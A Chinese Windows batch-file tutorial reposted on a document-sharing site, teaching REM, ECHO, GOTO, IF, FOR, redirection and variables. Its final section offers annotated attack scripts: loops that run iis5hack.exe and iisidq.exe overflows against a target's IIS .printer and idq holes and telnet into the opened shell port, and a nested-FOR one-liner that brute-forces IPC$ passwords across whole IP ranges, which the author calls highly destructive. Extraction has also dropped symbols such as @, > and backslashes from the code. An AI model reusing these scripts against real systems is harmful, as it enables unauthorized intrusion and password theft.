收藏 分享(赏)

win7批处理命令windows批处理命令大全教程.docx

上传人:yjrm16270 文档编号:6539469 上传时间:2019-04-16 格式:DOCX 页数:12 大小:24.87KB
下载 相关 举报
win7批处理命令windows批处理命令大全教程.docx_第1页
第1页 / 共12页
win7批处理命令windows批处理命令大全教程.docx_第2页
第2页 / 共12页
win7批处理命令windows批处理命令大全教程.docx_第3页
第3页 / 共12页
win7批处理命令windows批处理命令大全教程.docx_第4页
第4页 / 共12页
win7批处理命令windows批处理命令大全教程.docx_第5页
第5页 / 共12页
点击查看更多>>
资源描述

1、win7 批处理命令 windows 批处理命令大全教程最近好多猜测弱口令的病毒在网上流行,比如前段时间闹得很厉害的 Worm.Dvldr 蠕虫就是一个典型。这些病毒有个共同点就是利用批处理来进行 ipc$连接,从而来猜测管理员的口令达到控制服务器的目的。病毒由几个文件和几个复杂的批处理组成。批处理算不上真正意义上的编程,但是它的一些思想和编程比较近似。通过在网上和一些初学的朋友交流,发现他们对于批处理很感兴趣,多多少少了解一些命令的用法,但缺乏比较系统的了解,所以特意写下这篇教程,好让感兴趣的朋友对批处理有个整体的认识,并能通过该教程举一反三,写出自己的批处理。该教程一共分为 4 大部分,第

2、一部分是批处理的专用命令,第二部分是特殊的符号与批处理,第三部分是批处理与变量,第四部分是完整案例。因为教程比较长,所有在杂志上我们将分为两次连载,本期首先刊登一、二两部分,敬请读者注意。第一部分:批处理的专用命令批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为 BAT。这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。1、 REMREM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例:REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都 REM 会放在 REM后面。请大家注意。WIND

3、OWS 批处理命令详解教程这篇文章的内容如下:2、 ECHOECHO 是一个回显命令主要参数有 OFF 和 ON,一般用 ECHO message 来显示一个特定的消息 。例:Echo offRem 以上代表关闭回显即不显示所执行的命令Echo 这个就是消息。Rem 以上代表显示“这就是消息”这列字符执行结果:C:ECHO.BAT这个就是消息。3、 GOTOGOTO 即为跳转的意思。在批处理中允许以“:XXX”来构建一个标号然后用 GOTO :标号直接来执行标号后的命令。例:LABELREM 上面就是名为 LABEL 的标号。DIR C:DIR D:GOTO LABELREM 以上程序跳转标号

4、 LABEL 处继续执行。4、CALLCALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:批处理 2.BAT 内容如下:ECHO 这是 1 的内容CALL 2.BATECHO 1 和 2 的内容全部显示完成执行结果如下:C:1.BAT这是 1 的内容这就是 2 的内容1 和 2 的内容全部显示完成5、PAUSEPAUSE 停止系统命令的执行并显示下面的内容。例:C: PAUSE请按任意键继续 . . .6、 IFIF 条件判断语句,语法格式如下:IF NOT ERRORLEVEL number commandIF NOT string1=st

5、ring2 commandIF NOT EXIST filename command说明:NOT 将返回的结果取反值即“如果没有”的意思。ERRORLEVEL 是命令执行完成后返回的退出值Number 退出值的数字取值范围 0255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。string1=string2 string1 和 string2 都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是 2 个(绝对相等),条件想等后即执行后面的 commandEXIST filename 为文件或目录存在的意思。IF ERRORLEVEL 这条语句必须放在某

6、一个命令后面。执行命令后由 IF ERRORLEVEL 来判断命令的返回值。例:1、 IF NOT ERRORLEVEL number command检测命令执行完后的返回值做出判断。echo offdir z:rem 如果退出代码为 1(不成功)就跳至标题 1 处执行IF ERRORLEVEL 1 goto 1rem 如果退出代码为 0(成功)就跳至标题 0 处执行IF ERRORLEVEL 0 goto 0:0echo 命令执行成功!Rem 程序执行完毕跳至标题 exit 处退出goto exit:1echo 命令执行失败!Rem 程序执行完毕跳至标题 exit 处退出goto exit:

7、exitRem 这里是程序的出口2、 IF string1=string2 command检测当前变量的值做出判断ECHO OFFIF %1=2 goto noEcho 变量相等!Goto exit:noecho 变量不相等goto exit:exit大家可以这样看效果 C:test.bat 数字3、 IF NOT EXIST filename command发现特定的文件做出判断echo offIF not EXIST autoexec.bat goto 1echo 文件存在成功!goto exit:1echo 文件不存在失败!goto exit:exit这个批处理大家可以放在 c 盘和 d

8、 盘分别执行看看效果。7、 FORFOR 这个命令比较特殊是一个循环执行命令的命令,同时 FOR 的循环里面还可以套用 FOR 在进行循环。这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。在批处理中 FOR 的命令如下:FOR %c IN (set) DO command arguments在命令行中命令如下:FOR %c IN (set) DO command arguments常用参数:/L 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。/D 如果集中包含通配符,则

9、指定与目录名匹配,而不与文件名匹配/F 从指定的文件中读取数据作为变量eol=c - 指一个行注释字符的结尾(就一个)skip=n - 指在文件开始时忽略的行数。delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n 格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单

10、引号字符为文字字符串命令并允许在 filenameset 中使用双引号扩起文件名称。下面来看一个例子:FOR /F “eol=; tokens=2,3* delims=, “ %i in (myfile.txt) do echo %i %j %k会 分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来

11、使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。%i 专门在 for 语句中得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量名分大小写,是通用的;而且,同时不能有 52 个以上都在使用中。您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命令来分析命令的输

12、出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:FOR /F “usebackq delims=“ %i IN (set) DO echo %i会枚举当前环境中的环境变量名称。以下列举一个简单的例子,他将说明参数/L 和没有参数的区别:删除文件 1.TXT 2.TXT 3.TXT 4.TXT 5.TXT例:ECHO OFFFOR /L %F IN (1,1,5) DO DEL %F.TXT或FOR %F IN (1,2,3,4,5) DO DEL %F.TXT以上

13、2 条命令执行的结果都是一样的如下:C:DEL 1.TXTC:DEL 2.TXTC:DEL 3.TXTC:DEL 4.TXTC:DEL 5.TXT8、 SETLOCAL开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后所做的环境改动只限于批处理文件。要还原原先的设置,必须执行 ENDLOCAL。 达到批处理文件结尾时,对于该批处理文件的每个尚未执行的 SETLOCAL 命令,都会有一个隐含的 ENDLOCAL 被执行。例:ECHO OFFSET PATH /*察看环境变量 PATHPAUSESETLOCALSET PATH=E:TOOLS /*重新设置环境变量 PATHSET

14、 PATHPAUSEENDLOCALSET PATH从上例我们可以看到环境变量 PATH 第 1 次被显示得时候是系统默认路径。被设置成了 E:TOOLS 后显示为 E:TOOLS 但当 ENDLOCAL 后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量 PATH 将会还原。9、 SHIFTSHIFT 命令可以让在命令上的的命令使用超过 10 个(%0%9)以上的可替代参数例:ECHO OFFECHO %1 %2 %3 %4 %5 %6 %7 %8 %9SHIFTECHO %1 %2 %3 %4 %5 %6 %7 %8 %9SHIF

15、TECHO %1 %2 %3 %4 %5 %6 %7 %8 %9执行结果如下:C:SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 111 2 3 4 5 6 7 8 92 3 4 5 6 7 8 9 103 4 5 6 7 8 9 10 11以上就是基于 WIN2000 下的 9 个批处理命令。第二部分:特殊的符号与批处理在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。1、 符号()在批处理中的意思是关闭当前行的回显。我们从上面知道用命令 echo off 可以关掉整个批处理的命令回显但却不能不显示 echo off 这个命令。现在我们在这个命令前加上这样 echo

16、off 这一命令就被关闭了回显从而达到所有命令均不回显得要求2、 符号()的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:文件 1.txt 的文件内容为:1+1使用命令 c:dir *.txt 1.txt这时候 1.txt 的内容如下驱动器 C 中的卷没有标签。卷的序列号是 301A-1508C: 的目录2003-03-11 14:04 1,005 FRUNLOG.TXT2003-04-04 16:38 18,598,494 log.txt2003-04-04 17:02 5 1.txt2003-03-12 11:43 0 aier

17、rorlog.txt2003-03-30 00:35 30,571 202.108.txt5 个文件 18,630,070 字节0 个目录 1,191,542,784 可用字节将命令执行的结果覆盖了原始的文件内容。在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟 echo off 关掉的回显不是同一概念。Echo off 关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:C:dir *.txt nul程序将没有任何显示也不会产生任何痕迹。3、 符号()符号的作用与符号相似,但他们的区别在于是传递并在文件末尾追加也可将回显传递给控制台(用法同上)例:文件 1.txt 内同

18、为:1+1使用命令 c:dir *.txt 1.txt这时候 1.txt 的内容如下1+1驱动器 C 中的卷没有标签。卷的序列号是 301A-1508C: 的目录2003-03-11 14:04 1,005 FRUNLOG.TXT2003-04-04 16:38 18,598,494 log.txt2003-04-04 17:02 5 1.txt2003-03-12 11:43 0 aierrorlog.txt2003-03-30 00:35 30,571 202.108.txt5 个文件 18,630,070 字节0 个目录 1,191,542,784 可用字节将命令执行的结果覆加在了原始的

19、文件内容后面。4、 符号(|)|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例:C:dir c:|find “1508“卷的序列号是 301A-1508以上命令的意思为查找 c:的所有并发现 1508 字符串。Find 的用法请用 find /?自行查看在不使用 format 的自动格式化参数的时候我是这样来自动格式化盘片的echo y|fornat a: /s /q /v:system用过 format 命令的人都知道 format 有一个交互对化过程,要使用者输入 y 来确定当前的命令是否被执行。在这个命令前加上 echo y 并用管道传输符|将 echo 执行的结果

20、 y 传递给 format 从而达到手工输入 y 的目的(这条命令有危害性,测试的时候请谨慎)5、 符号() 是对特殊符号 、echo test 1.txttest 1.txt从上面可以看出并没有把 test 写入文件 1.txt 而是将 test 1.txt 当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。6、 符号();符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:DIR C:;D:;E:F:以上的命令相当于DIR C:DIR D:DIR E:DIR F:当然还有些特殊的符号但他们的使用范围很小我就

21、不再这里一一的说明了。第三部分:批处理与变量在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0%9共 10 个。其中%0 默认给批处理的文件名使用。除非在使用 SHIFT 命令后%0 才能被%1 所替代。引用shift 命令的例子如果把%1 前面多加上一个%0 那么结果如下:C:SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11SHIFT.BAT 1 2 3 4 5 6 7 8 91 2 3 4 5 6 7 8 9 102 3 4 5 6 7 8 9 10 11系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把

22、空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号 8 中所用的引号将他圈起来。例:批处理内容为:ECHO %1ECHO %2ECHO %3输入命令:C:TEST “Program Files” Program FilesProgram FilesProgramFiles在一个复杂的批处理中又可能同时使用的变量会超过 10 个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用 SET 命令可以查看当前系统的环境变量)如当前系统目录是%windir%或%SystemRoot%等。

23、当同时使用的参数超过 10 个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量 A 在调用变量 A 的时候要%A%这样调用,环境变量不受 SHIFT 命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下:ECHO OFFSET PASS=%1SHIFTSET PASS1=%1SHIFTECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9SHIFTECHO %PASS% %PASS1% %9SE

24、T PASS=%PASS1% 变量的传递SET PASS1=%9SHIFTECHO %PASS% %PASS1% %9使用命令:C:TEST A B 3 4 5 6 7 8 9 10 K LA B 3 4 5 6 7 8 9 10 K 注意:这一行显示了 11 个变量A B L 在使用了 3 次 SHIFT 之后%9 变成了 LB L 变量的传递后的结果第四部分:完整案例以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。例一这个例子是利用 iis5hack.

25、exe 对有.printer 漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe 和系统自带的 telnet.exe。iis5hack 的命令格式为:iis5hack 目标版本为 0-9 这 10 个数字分别对应不同语言版本和 sp 的系统版本,我们编制的批处理使用的命令格式为开始版本号可有可无。程序如下。echo off /*关闭命令回显if “%1%“=“ goto help /*判断%1 是否为空,%1 为目标 ipif “%2%“=“1“ goto 1 /*判断%2 是否为 1,为 1 则跳转标志 1if “%2%“=“2“ goto 2 /*%2 为开始版本号,如果没有

26、设置则if “%2%“=“3“ goto 3 /*如果存在则从匹配的地方开始执行if “%2%“=“4“ goto 4if “%2%“=“5“ goto 5if “%2%“=“6“ goto 6if “%2%“=“7“ goto 7if “%2%“=“8“ goto 8if not EXIST iis5hack.exe goto file /*没有发现 iis5hack.exe 就执行标志 file 段内容ping %1 -n 1 | find “Received = 1“ /*ping 目标 1 次,从结果中发现 Received = 1if errorlevel 1 goto error

27、/*如果返回代码为 1 则执行 error 段(代码 1 为没有发现 0 为发现并成功执行)iis5hack %1 80 9 88 | find “good“ /*开始溢出目标端口 80 系统代码 9 溢出后连接端口 88 在执行结果中发现字符串”good”(溢出成功后才会有字符串 good)if not errorlevel 1 goto telnet /*如果没有错误代码 1(溢出成功)就执行 telnet 段的内容。echo 操作系统类型 9 失败! /否则显示这一句:8 /*以下代码内容参照上面iis5hack %1 80 8 88 | find “good“if not errorl

28、evel 1 goto telnetecho 操作系统类型 8 失败!:7iis5hack %1 80 7 88 | find “good“if not errorlevel 1 goto telnetecho 操作系统类型 7 失败!:6iis5hack %1 80 6 88 | find “good“if not errorlevel 1 goto telnetecho 操作系统类型 6 失败!:5iis5hack %1 80 5 88 | find “good“if not errorlevel 1 goto telnetecho 操作系统类型 5 失败!:4iis5hack %1 80

29、 4 88 | find “good“if not errorlevel 1 goto telnetecho 操作系统类型 4 失败!:3iis5hack %1 80 3 88 | find “good“if not errorlevel 1 goto telnetecho 操作系统类型 3 失败!:2iis5hack %1 80 2 88 | find “good“if not errorlevel 1 goto telnetecho 操作系统类型 2 失败!:1iis5hack %1 80 1 88 | find “good“if not errorlevel 1 goto telnete

30、cho 操作系统类型 1 失败!:0iis5hack %1 80 0 88 | find “good“if not errorlevel 1 goto telnetecho 操作系统类型 0 失败!goto error:telnettelnet %1 88 /*开始连接目标 ip 的 88 端口goto exit /*连接中断后跳转 exit 段:error /*error 段显示错误后的帮助信息echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!echo iis5hack 目标 IP WEB 端口 系统类型 开放端口ECHO 中文: 0ECHO 中文+sp1: 1E

31、CHO 英文: 2ECHO 英文+sp1: 3ECHO 日语: 4ECHO 日语+sp1: 5ECHO 韩文: 6ECHO 韩文+sp1: 7ECHO 墨西哥语: 8ECHO 墨西哥语+sp1: 9goto exit /*跳转 exit 段:file /*file 段显示文件没有发现的信息echo 文件 iis5hack.exe 没有发现!程序终止运行!goto exit /*跳转 exit 段:help /*help 段显示本批处理的使用格式帮助echo 本程序用法如下:echo iis 目标 ipecho iis 目标 ip 开始的号码 9-0:exit /*exit 段为程序出口这个批处

32、理基本没有什么循环只是一路走下来。所以代码比较长难度不大!例二这个例子是用 iisidq.exe 对有 idq 漏洞的机器进行溢出的批处理。使用的程序有 iisidq.exe 和系统自带的程序 telnet.exe。iisidq.exe 的用法如下:运行参数: 操作系统类型 目的地址 web 端口 1 溢出监听端口 其中,如果输入命令参数没有输入,那么,默认为:“cmd.exe“。其中操作系统类型类型的代码范围是 0-14。我们编制的批处理使用的命令格式为 程序如下:echo off /*同例一if not EXIST iisidq.exe goto file /*同例一if %1 = “ g

33、oto error /*同例一ping %1 -n 1 | find “Received = 1“ /*同例一if errorlevel 1 goto error1 /*同例一set b=%1 /*创建一个环境变量 b,将变量%1 的内容传递给环境变量 b。变量 b 的内容以后将是目标ipset a=0 /*创建一个环境变量 a 并指定环境变量 a 为 0。由于使用整个批处理的循环所以用 a 来做计数器。:no /*no 段开始if %a%=0 set d=0 /*如果环境变量 a=0 则创建环境变量 d 设定环境变量 d=0。if %a%=1 set d=1 /*环境变量 d 其实是操作系统

34、类型代码,用计数器来控制其if %a%=2 set d=2 /*变动。if %a%=3 set d=3if %a%=4 set d=4if %a%=5 set d=5if %a%=6 set d=6if %a%=7 set d=7if %a%=9 set d=9if %a%=10 set d=13if %a%=11 set d=14goto 0 /*变量传递完成后转到标志 0 处运行:1echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候:0 /*标志 0 开始IISIDQ %d% %b% 80 1 99 |find “good“ /*按格式发送溢出命令并在结果中发现字符串

35、good(发送代码成功才会有字符串 good)if errorlevel 1 goto 1 /*如果没有 good 字符串则没有发送成跳/*转标志 1 处继续尝试发送ping 127.0.0.1 -n 8 nul /*ping 自己 8 次相当于延时 8 秒不显示执/*行结果echo 正在执行第%d%项! /*报告正在溢出的操作系统类型telnet %b% 99 /*连接溢出端口echo. /*显示一个空行if %d%=14 goto error1 /*如果操作系统类型为 14 则跳转 error1 处(循环出口)if %d%=13 set a=11 /*开始用计数器对操作系统代码重新附值if

36、 %d%=9 set a=10if %d%=7 set a=9if %d%=6 set a=7if %d%=5 set a=6if %d%=4 set a=5if %d%=3 set a=4if %d%=2 set a=3if %d%=1 set a=2if %d%=0 set a=1goto no /*附值完成跳转 no 段执行:file /*以下都是出错后的帮助提示echo IIsidq.exe 没有发现!将该文件和本文件放在同一目录!goto exit:errorecho 错误!目标 ip 不可识别!请使用下面的格式连接!echo idq 目标 IPgoto exit:error1ech

37、o 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!echo 请按照下面的格式手工尝试!echo iisidq 目标类型 目标 IP 目标端口 连接方式 溢出端口echo telnet 目标 ip 溢出端口:exit /*整个程序的出口这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。例三for /l %a in (0,1,255) do for /l %b in (0,1,255) do for /l %c in (1,1,254) do for /f “tokens=1,2*“ %e in (userpass.txt) do net use %1.%a.%b.%cip

38、c$ %e /u:%f上面的命令为 1 条命令。大家可以看出该命令使用了 4 个 FOR 来套用的。 用法为:C:TEST.BAT 218 当输入 218 回车后该命令会由第 1 个 for 取初始值 0 为%a 然后继续取第 2 个 for 的初始值 0为%b 继续取第 3 个 for 的初始值 1 为%c 最后一个 for 是将 userpass.txt 中的第一段字符作为密码%e 第二段字符作为用户名%f 最后执行命令 (这里我把上面的值都带进去,设密码为 123 用户名为 abc)net usr 218.0.0.1ipc$ 123 /u:abc当然上面这个例子可能有些朋友会说太简单并且

39、太死板不灵活。我把这个例子做了些修改(完整文件见光盘 ipc.bat)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大 ip 的范围。当然功能还可以在加强,至于能加强到什么地步能不能成为一个新的工具那就是你的事了。这个的循环动作大了点主要是 ip 的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦!最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了!简单的改一改杀伤力还是很大的。以上这些批处理全部在 win2000 和 xp 下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长!windows 批处理命令、win7 批处理命令到此结束。

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 实用文档 > 简明教程

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报